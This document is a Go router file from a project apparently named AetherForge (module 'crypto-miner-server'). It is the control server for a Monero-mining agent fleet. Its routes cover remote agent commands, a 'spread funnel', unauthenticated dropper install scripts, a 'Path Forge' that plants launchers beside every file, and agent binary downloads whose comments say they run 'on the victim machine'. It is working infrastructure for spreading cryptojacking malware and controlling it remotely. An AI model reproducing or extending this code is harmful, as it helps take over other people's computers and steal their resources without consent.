Files
AetherForge/server/internal/api/router.go
AetherForge 6bfce5d5ab fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start
Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
2026-06-04 14:14:34 -07:00

759 lines
25 KiB
Go

package api
import (
"crypto/rand"
"crypto/sha256"
"crypto/subtle"
"encoding/hex"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/cors"
"golang.org/x/crypto/bcrypt"
)
// authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex — value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
authSessionCache = map[string]time.Time{}
authSessionCacheMu sync.Mutex
authCacheTTL = 5 * time.Minute
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
builtinSecondaryUser = "comrade"
)
func authCacheKey(user, pass string) string {
h := sha256.Sum256([]byte(user + ":" + pass))
return hex.EncodeToString(h[:])
}
func authCacheHit(user, pass string) bool {
key := authCacheKey(user, pass)
authSessionCacheMu.Lock()
defer authSessionCacheMu.Unlock()
exp, ok := authSessionCache[key]
return ok && time.Now().Before(exp)
}
func authCacheSet(user, pass string) {
key := authCacheKey(user, pass)
authSessionCacheMu.Lock()
authSessionCache[key] = time.Now().Add(authCacheTTL)
// Prune expired entries opportunistically.
if len(authSessionCache) > 512 {
now := time.Now()
for k, v := range authSessionCache {
if now.After(v) {
delete(authSessionCache, k)
}
}
}
authSessionCacheMu.Unlock()
}
var (
// authUsers is populated from data/users.json on startup. Plain-text copies
// for console display live in data/login-credentials.json (0600).
authUsers = map[string]string{}
usersFilePath string
usersMu sync.RWMutex
authLoadMu sync.Mutex
authLoadedDataDir string
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
fleetSecretForAgentPaths string
fleetSecretForAgentPathsMu sync.RWMutex
// rotateSecretFn is called when POST /server/rotate-secret is hit.
// Wired from main.go so the server can generate, persist, and propagate the new secret.
rotateSecretFn func() (string, error)
)
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
// X-Fleet-Secret headers on /api/v1/agent/* routes.
func SetAgentPathSecret(secret string) {
fleetSecretForAgentPathsMu.Lock()
fleetSecretForAgentPaths = secret
fleetSecretForAgentPathsMu.Unlock()
}
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
func SetRotateSecretFn(fn func() (string, error)) {
rotateSecretFn = fn
}
// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
func isBcryptHash(s string) bool {
return len(s) > 4 && s[0] == '$' && s[1] == '2'
}
// hashPassword returns a bcrypt hash of password (cost 12).
func hashPassword(password string) (string, error) {
h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
if err != nil {
return "", err
}
return string(h), nil
}
// checkPassword verifies password against the stored value. Stored values are
// always bcrypt hashes after migration; plain-text legacy values are accepted
// once then re-hashed automatically.
func checkPassword(stored, provided string) bool {
if isBcryptHash(stored) {
return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
}
// Legacy plain-text comparison (constant-time).
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
}
func loginSidecarPath(dataDir string) string {
return filepath.Join(dataDir, "login-credentials.json")
}
func readLoginSidecar(path string) (map[string]string, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var creds map[string]string
if err := json.Unmarshal(data, &creds); err != nil {
return nil, err
}
if len(creds) == 0 {
return nil, fmt.Errorf("empty login sidecar")
}
return creds, nil
}
func writeLoginSidecar(path string, creds map[string]string) error {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return err
}
data, err := json.MarshalIndent(creds, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}
func upsertLoginSidecar(dataDir, username, password string) error {
path := loginSidecarPath(dataDir)
creds, _ := readLoginSidecar(path)
if creds == nil {
creds = map[string]string{}
}
creds[username] = password
return writeLoginSidecar(path, creds)
}
func printStartupCredentials(dataDir string) {
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
if err != nil || len(creds) == 0 {
return
}
fmt.Println(formatLoginBanner(creds))
}
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("║ AetherForge — Dashboard Login ║\n")
b.WriteString("║ ║\n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
}
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
b.WriteString("║ ║\n")
}
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
// LoadUsers loads dashboard accounts and prints login credentials to the console.
// Call once during startup (before heavy init) so operators always see passwords.
func LoadUsers(dataDir string) {
ensureUsersLoaded(dataDir)
printStartupCredentials(dataDir)
}
func ensureUsersLoaded(dataDir string) {
abs, err := filepath.Abs(dataDir)
if err != nil {
abs = dataDir
}
authLoadMu.Lock()
defer authLoadMu.Unlock()
if authLoadedDataDir == abs {
return
}
bootstrapUsers(dataDir)
authLoadedDataDir = abs
}
func bootstrapUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
sidecarPath := loginSidecarPath(dataDir)
usersMu.Lock()
defer usersMu.Unlock()
data, err := os.ReadFile(usersFilePath)
if err == nil {
var loaded map[string]string
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
migrated := false
for u, v := range loaded {
if !isBcryptHash(v) {
if h, herr := hashPassword(v); herr == nil {
loaded[u] = h
migrated = true
log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
}
}
}
authUsers = loaded
changed := migrated
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
changed = true
}
if changed {
d, _ := json.MarshalIndent(authUsers, "", " ")
_ = os.WriteFile(usersFilePath, d, 0600)
}
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
return
}
}
adminPW := generateRandomPassword()
comradePW := generateRandomPassword()
adminHash, herr := hashPassword(adminPW)
if herr != nil {
adminHash = adminPW
log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
}
comradeHash, herr := hashPassword(comradePW)
if herr != nil {
comradeHash = comradePW
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
authUsers = map[string]string{
"admin": adminHash,
builtinSecondaryUser: comradeHash,
}
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
d, _ := json.MarshalIndent(authUsers, "", " ")
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
}
_ = writeLoginSidecar(sidecarPath, map[string]string{
"admin": adminPW,
builtinSecondaryUser: comradePW,
})
}
}
const legacySecondaryUser = "comrad"
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
if _, ok := users[builtinSecondaryUser]; ok {
return false
}
if hash, ok := users[legacySecondaryUser]; ok {
users[builtinSecondaryUser] = hash
delete(users, legacySecondaryUser)
sidecarPath := loginSidecarPath(dataDir)
if creds, err := readLoginSidecar(sidecarPath); err == nil {
if pw, ok := creds[legacySecondaryUser]; ok {
delete(creds, legacySecondaryUser)
creds[builtinSecondaryUser] = pw
_ = writeLoginSidecar(sidecarPath, creds)
}
}
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
return true
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
hashed = pw
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
users[builtinSecondaryUser] = hashed
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
}
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
return true
}
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
if _, err := readLoginSidecar(sidecarPath); err == nil {
return
}
if _, ok := users["admin"]; !ok {
return
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
return
}
users["admin"] = hashed
authUsers = users
d, _ := json.MarshalIndent(authUsers, "", " ")
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
return
}
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
return
}
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
}
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
func generateRandomPassword() string {
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
return "aether1!"
}
return hex.EncodeToString(b)
}
func saveUser(username, password string) error {
hashed, err := hashPassword(password)
if err != nil {
return fmt.Errorf("bcrypt: %w", err)
}
usersMu.Lock()
authUsers[username] = hashed
if usersFilePath == "" {
usersFilePath = filepath.Join("data", "users.json")
}
dataDir := filepath.Dir(usersFilePath)
if err := os.MkdirAll(dataDir, 0755); err != nil {
usersMu.Unlock()
return err
}
data, _ := json.MarshalIndent(authUsers, "", " ")
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
usersMu.Unlock()
return err
}
usersMu.Unlock()
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
}
return nil
}
func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodOptions {
next.ServeHTTP(w, r)
return
}
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
next.ServeHTTP(w, r)
return
}
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected — the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
if secret == "" {
http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
return
}
provided := r.Header.Get("X-Fleet-Secret")
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
return
}
// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
// This lets forged agents self-upgrade (they have the fleet secret baked in)
// while still requiring credentials for unauthenticated callers.
isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
(strings.HasSuffix(path, "/download") ||
strings.Contains(path, "/artifact/") ||
strings.HasSuffix(path, "/uninstall"))
if isDownload {
fleetSecretForAgentPathsMu.RLock()
secret := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
provided := r.Header.Get("X-Fleet-Secret")
if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
next.ServeHTTP(w, r)
return
}
// Fall through to Basic Auth below.
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Fast path — skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
storedHash, exists := authUsers[user]
usersMu.RUnlock()
if !exists || !checkPassword(storedHash, pass) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Credential verified — cache it for the next few minutes.
authCacheSet(user, pass)
}
next.ServeHTTP(w, withAuthUser(r, user))
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
if len(serverVersion) > 0 && serverVersion[0] != "" {
version = serverVersion[0]
}
r := chi.NewRouter()
// Middleware (global)
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
// X-Fleet-Secret is required by agent-facing endpoints; include it so
// browser-based callers (dev tools, custom dashboards) are not blocked
// by CORS preflight when sending that header.
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
AllowCredentials: false,
}))
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := ""
if publicURLOverride != nil {
override = publicURLOverride()
}
GetServerInfo(w, r, override)
})
// Dashboard
r.Get("/dashboard/stats", h.GetDashboardStats)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
r.Get("/agents/{id}/stats", h.GetAgentStats)
if fleetHandler != nil {
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
}
// Fleet ops
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
r.Post("/alerts/test", fleetHandler.PostAlertTest)
r.Get("/pools/status", fleetHandler.GetPoolStatus)
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
r.Get("/audit", fleetHandler.GetAudit)
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
}
// Shares
r.Get("/shares", h.GetRecentShares)
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
}
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) {
writeJSON(w, map[string]interface{}{"cancelled": true})
} else {
http.Error(w, "build not found or already completed", http.StatusNotFound)
}
})
// Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP)
r.Post("/blueprints", blueprintHandler.ServeHTTP)
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
return
}
newSecret, err := rotateSecretFn()
if err != nil {
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
})
// User Management
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
var payload struct {
Username string `json:"username"`
Password string `json:"password"`
}
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
http.Error(w, "Invalid username or password", http.StatusBadRequest)
return
}
if err := saveUser(payload.Username, payload.Password); err != nil {
http.Error(w, "Failed to save user", http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
})
// WebSocket
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
}
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
// Serve frontend SPA
if webRoot != "" {
// Check if webroot directory exists
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
// Create a file server for the webroot
fileServer := http.FileServer(http.Dir(webRoot))
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
// Clean the path
path := strings.TrimPrefix(r.URL.Path, "/")
if path == "" || strings.Contains(path, "..") {
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
return
}
fullPath := filepath.Join(webRoot, path)
// Check if the file exists
if _, err := os.Stat(fullPath); err == nil {
fileServer.ServeHTTP(w, r)
return
}
// SPA fallback - serve index.html (never cache: hashed assets change each build)
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
})
} else {
// Fallback if webroot doesn't exist
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
} else {
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. No frontend configured.</p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
return r
}
// serveAgentBinary returns an HTTP handler that streams the agent binary for
// the requested platform. It looks for the binary next to the running server
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
// - windows → crypto-miner-agent.exe
// - mac/linux → crypto-miner-agent (no extension)
func serveAgentBinary(platform string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
exe, err := os.Executable()
if err != nil {
http.Error(w, "server exe not found", http.StatusInternalServerError)
return
}
dir := filepath.Dir(exe)
var candidates []string
var dlName string
switch platform {
case "windows":
dlName = "crypto-miner-agent.exe"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
case "mac":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
filepath.Join(dir, "crypto-miner-agent-darwin"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
case "linux":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
filepath.Join(dir, "crypto-miner-agent-linux"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
}
var binPath string
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
binPath = c
break
}
}
if binPath == "" {
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
http.ServeFile(w, r, binPath)
}
}